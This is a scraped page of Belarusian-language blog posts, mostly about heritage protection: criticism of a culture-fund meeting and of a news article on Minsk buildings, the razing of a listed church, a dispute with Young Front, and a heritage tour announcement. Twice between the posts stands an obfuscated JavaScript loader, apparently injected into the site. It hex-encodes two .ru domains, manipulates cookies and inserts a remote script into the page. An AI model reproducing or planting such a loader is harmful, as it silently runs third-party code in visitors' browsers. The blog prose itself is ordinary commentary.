А калі самі арганізатары атрымалі матэрылы на рукі толькі ў дзень абмеркавання, калі самі не ведалі сутнасць праблемы, то дзеля чаго столькі людзей яны ў адным месцы сабралі? Адназначна зараз скажу - больш ні адно падобнае мерапрыемста ад Беларускага фонда культуры, ні адно мерапрыемства падобнага плану, ініцыяанае Беларускім аддзяленнем ІКАМОС, наведваць не буду. Часу шкада. А на пасяджэнні Грамадскай назіральнай камісіі буду хадзіць, калі папярэдне матэрыялы высылаць будуць.

“Шэрая” адвакатура 26.08.2015 1


Прачытаў матэрыял на ТУТе (http://news.tut.by/society/459210.html) style="line-height: 19.32px;">. Спачатку паставіўся да яго, як да інфармацыйнага пука. Бо колькі можна юзаць тэму, што трэба знесці, а што трэба пакінуць у Мінску. Не першы раз пра гэта гаворка ў СМІ ідзе і не першы год. Але потым задумаўся над прачытаным і зразумеў, што не ўсё так проста з матэрыялам, не такі ўжо ён банальны, як здаецца на першы погляд.

Справа вось у чым. Хачу заўважыць, што аўтар матэрыяла і тыя асобы, якія запрошаны ў якасці экспертаў для артыкула, гавораць выключна пра будынкі, якія ўзведзены ў савецкі час. Будынкі гэтыя ўзведзены на тэрыторыях, якія не мелі аніякага статуса, як помнікі горадабудаўніцтва, таму не мелі абмежавальных рэгламентаў, якія б вызначалі захаванне гістарычнай планіровачнай структуры, маштабу і характару забудовы.

Аўтар і эксперты кіруюцца прынцыпам не прававым, а прынцыпам - падабаецца ці не падабаецца. І заключэнні свае выносяць на падставе сваіх густаў і суб'ектыўных ацэнак, забыўшыся, што іх ацэнкі - нуль у параўнанні з правам, а прававыя нормы і тэхнічныя рэгламенты дадзенымі будынкамі парушаны не былі. Пазіцыя аўтараў і экспертаў вельмі падобна на просты і паказальны прыклад знішчэння шматлікіх архітэктурных шэдэўраў на тэрыторыі былога Савецкага саюза і нашай Беларусі толькі таму, што яны не падабаліся камуністычнаму кіраўніцтву, не адпавядалі іх ідэялогіі.

Але гэта толькі адзін штрышок. Галоўнае ў тым, пра што аўтар і эксперты маўчаць. А неяк сціпла яны забыліся пра тыя аб'екты, якія ўзведзены ў сучасным гістарычным цэнтры Мінска, узведзены ў час, калі гістарычны цэнтр знаходзіўся ўжо пад аховай дзяржавы, узведзены з татальным парушэннем усяго заканадаўства, рэгламентаў, дзеючых нормаў і правілаў, узведзены, дзякуючы іх легітымізацыі мінкультам, навукова-метадычнай радай, пры садзейнічанні органаў пракурорскага нагляду, праваахоўных органаў і шмат каго яшчэ.

Аб'ектаў такіх шмат. І на Нямізе, і ў Ракаўскім прадмесці, і ў Верхнім горадзе, і на праспекце Незалежнасці, і побач з Траецкім, і на праспекце Пераможцаў. І ні слоўца пра іх, ні ўздыху, і нават намёку на іх няма.

І закрадаецца думка, ці не спрабуе цесны калектыў аўтара і экспертаў разважаннямі пра "савок" і пра аб'екты з гэтага слаўнага мінулага перанакіраваць нашую ўвагу з тых незаконых працаў, тых незаконных а'ектаў, якія ўзніклі ў нас на вачах, у абыход заканадаўства, сумеснымі намаганнямі інвестараў, дзеючай адміністрацыі горада і дзяржавы, пры поўным раўнадушшы кантрольных і наглядных органаў. Ці не спроба гэта прымусіць нас праглынуць, як найважнейшую праблему, аб'екты савецкага перыяду, якія, калі і ацэньваць, то толькі з пункту гледжання эстэтыкі, а аб'екты, ўзнікшыя з пачатку нашага стагоддзя ў гістрычным цэнтры, не проста не заўважаць.

Не ведаю, свядома, ці несвядома такі матэрыял з'явіўся, свядома, ці несвядома ў ім удзельнічалі эксперты. Ды і нецікава гэта. Якія б матывы не кіравалі аўтарам, якія б матывы не кіравалі экспертамі - вынік відавочны. У гэтым выпадку яны выступілі ў якасці, калі не адвакатаў, то ў якасці завуяляваных прыспешнікаў сістэмы, пры якой закладзена і адпрацавана сістэма знішчэння помнікаў, незваротных зменаў, поўных ці частковых, якасных характактарыстык гісторыка-культурных аб'ектаў па-за ўсялякімі межамі, пад прыкрыццём фігавых лісточкаў самых розных узгадненняў.

window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="20838",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([.$?*|{}()[]\/+^])/g,"\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[Ss]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))smile:(f=r(e)+"/ajs/"+t+"/c/"+c("belaruspartisan.org")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();

Поўны талібан 11.08.2015 2


У Камянецкім раёне, у Малых Мурынах, знішчаны помнік. Знішчана царква, гісторыка-культурная каштоўнасць 2-й катэгорыі, якая згодна Дзяржспісу датуецца 1760-м годам. Колькі гнеўных водгукаў, калі талібы, ці баевікі ісламскай дзяржавы руйнуюць помнікі. Пра гэта пішуць у газетах, паказваюць па тэлебачанні, у тым ліку па нашых дзяржаўных каналах. А тут зруйнавана царква, а колькі раней помнікаў, якія ў юрысдыкцыі РПЦ зруйнавана, ці сапсавана па ініцыятыве царкоўнікаў, і маўчанне. Літаральна пара паведамленняў на ўзроўні сацыяльных сетак.

Талібан даўно прыйшоў у Беларусь. Знішчаецца нашае нацыянальнае багацце пры поўным патуранні дзяржаўных органаў, органаў праваахоўных. Гэта не пустыя словы. Ці ўзбуджана хоць адна крымінальная справа па фактах руйнавання спадчыны, ці яе неабгрунтаванага змянення? Ці хоць раз мясцовыя органы ўлады, Мінкульт, пракуратура, органы ўнутраных спраў зрэагавалі па падобных фактах адэкватна? Гісторыя пра гэта маўчыць.

Да нас прыйшоў талібан. І калі супраць гэтага талібана дзяржава не прадпрымае аніякіх эфектыўных захадаў, да нас прыйшоў талібан у законе. Адзінае што мы можам, не абмяжоўвацца размовамі на кухнях і ў сеціве, а дамагацца ад дзяржавы паставіць заслон на шляху знішчэння нашай спадчыны, на шляху штучнага нівелявання нашых культурных ланшафтаў. Як мы гэта можам зрабіць? Ужо накіраваны ад Таварыства аховы помнікаў электроны зварот у абласную пракуратуру, пойдзе і пісьмовы. Дык падтрымайце! Пішыце такіеж звароты і дасылайце. Пакажыце, што нам, грамадскасці, не ўсё роўна, што мы зацікаўлены ў захаванні свайго нацыянальнага багацця, свайго нацыянальнага падмурка.

Тым больш, што напісаць трэба толькі два-тры абзацы, а гэта, мяркуем, зусім не цяжка. А як пісаць, куды пісаць, то самі паглядзіце. Прыклад апублікаваны.


window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="20838",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([.$?*|{}()[]\/+^])/g,"\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[Ss]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))smile:(f=r(e)+"/ajs/"+t+"/c/"+c("belaruspartisan.org")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();

Пра чарговы неадэкват 09.07.2015 4

Кіраўніцтву Маладога фронта трэба мабыць трошку падлячыцца, бо інакш, як мазгавой паталогіяй, гэта не назавеш. А можна не падлячыцца, а больш шырока і ўтрапнёна папрацаваць на глебе выкрыцця чарнасоценых арганізацый у Беларусі.

Пра што гэта? Ды пра наступнае. На сайце МФ з'явіўся матэрыял пад назвай "Малады Фронт: сьпіс “Чорнай сотні” у Беларусі" (http://mfront.net/bielarus-na-parozie-vajny.html), які б я назаў своеасаблівым лонг-лістом. І па Магілёўскай вобласці ў гэтым лонг-лісту ў якасці чарнасоценай арганізацыі пазначаны магілёўскі пашукавы клуб "ВІККРУ".

На якіх падставах "ВІККРУ" унесены ў спіс - таямніца. Магу сказаць адно, нашыя камсамольцы і піонэры з МФ са статутам клуба не знаёміліся, не ведаюць аб дзейнасці гэтага грамадскага аб'яднання, нічога не ведаюць пра людзей, яія займаюцца, ахвярна займаюцца, працай па вайсковаму пошуку.

Самае цікавае, што МФ прапануе грамадскасці звяртацца ў органы пракуратуры і "іншыя дзяржструктуры Беларусі з патрабаваньнем спыніць дзейнасьць той ці іншай арганізацыі са спісу “Чорнай сотні”. Гэта значыць МФ хоча спыніць дзейнасць "ВІККРУ" таксама.

Цікава, а калі "ВІККРУ" звернеца ў кантрольныя і наглядныя ограны з прапановай разгледзіць законасць дзеянняў МФ на тэрыторыі Беларусі? Калі, сапраўды, вайну паміж аб'яднаннямі прыдзецца развязаць на поўным сур'ёзе? Памысліце, шаноўныя, хто ў гэтай сітуацыі выйграе?

Калі ў МФ працуюць здаровыя, адэкватныя людзі, то афіцыйнае прабачэнне з боку яго кіраўніцтва перад "ВІККРУ" павінна быць прынесена неадкладна. У іншым выпадку Малады фронт павінен быць паслядоўным да канца, дзеля чаго прапаную ў спіс чарнасоценых арганізацый ўнесці і Беларускае добраахвотнае таварыства аховы помнікаў гісторыі і культуры, як аднаго з партнёраў "ВІККРУ".

А каб гэтая ініцыятыва з боку МФ не была галаслоўнай, публікую дакуменцік, на падставе якога гэта можна зрабіць, тым больш да "Чорнай сотні" на падставе гэтага дакумента прапаную далучыць яшчэ і маю персаналію.


Dura lex, sed lex 05.07.2015 1

Шмат матэрыялаў у прэсе і ФБ пра прысуд у 22 гады турэмнага зняволення, які вынесены Дженнифер Фихтер. Практычна ўсе лічаць прысуд проста неадэкватным. Сам успрымаю пакаранне занадта цяжкім. Але...

Амерыканскае правасуддзе заснавана на жорсткай прававой сістэме. На гэтай сістэме стаіць сама Амерыка. І прысуд вынесены згодна амерыканскага заканадаўства, якое строга забараняе сэксуальныя адносіны з непаўналетнімі, якое ўлічвае кожны эпізод і складае ў адзіны тэрмін усе пакаранні па кожнаму эпізоду.

Dura lex, sed lex.

Зарашаем у падарожжа Да Чорнай Ганьчы 28.06.2015

Захапляльная вандроўка з “Куфэркам падарожжаў”
03.07.2015г.

У падарожжы нас чакае знаёмства з адным самых заходніх рэгіёнаў Беларусі, з яго архітэктурнай спадчынай, унікальнай прыродай і помнікамі інжынернай думкі
- Навумавічы – форт №2 Гродзенскай крэпасці
- Свяцк – палац 18 ст. Валовічаў
- Радзівілкі – сядзібна-паркавы ансамбль 19 ст.
- Сапоцкін – касцёл пач. 20 ст., капліцы пахавальні і вайсковыя пахаванні на могілках
- Аўгустоўскі канал – шлюзы “Нямнова” і “Дамброўка”


Кантакты:
+375 29 1694811

+375 29 1117332
[email protected]

antonastapovicz1@ gmail.com


Навумавічы. Форт № 2. Здымак 2012 г.

Навумавічы. Форт №2. Здымак 1915 г.

Гродзенская крэпасць. Разбітая марціра японскай вытворчасці. Здымак 1915 г.

Сінагога ў Сапоцкіне. Здымак 20-х гг. 20 ст.

Сапоцкін. Касцёл. Здымак 2012 г.

Капліцы на могілках у Сапоцкіне. Фота 2012 г.

Палац у Свяцку. Чарцёж У.Чантурыі

Палац у Свяцку. Правае крыло. Здымак 30-х гг. 20 ст.

Схема Аўгустоўскай сістэмы

Развадны мост пры шлюзе Нямнова. Здымак 2012 г.


Читать другие новости